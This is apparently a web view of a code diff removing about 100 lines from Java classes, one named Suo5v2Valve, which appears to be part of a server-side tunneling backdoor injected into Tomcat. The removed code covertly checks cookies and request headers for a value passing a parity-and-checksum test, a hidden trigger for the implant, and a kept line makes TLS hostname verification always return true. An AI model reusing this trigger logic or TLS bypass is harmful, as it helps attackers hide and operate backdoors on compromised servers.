|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
-103
@@ -993,109 +993,6 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user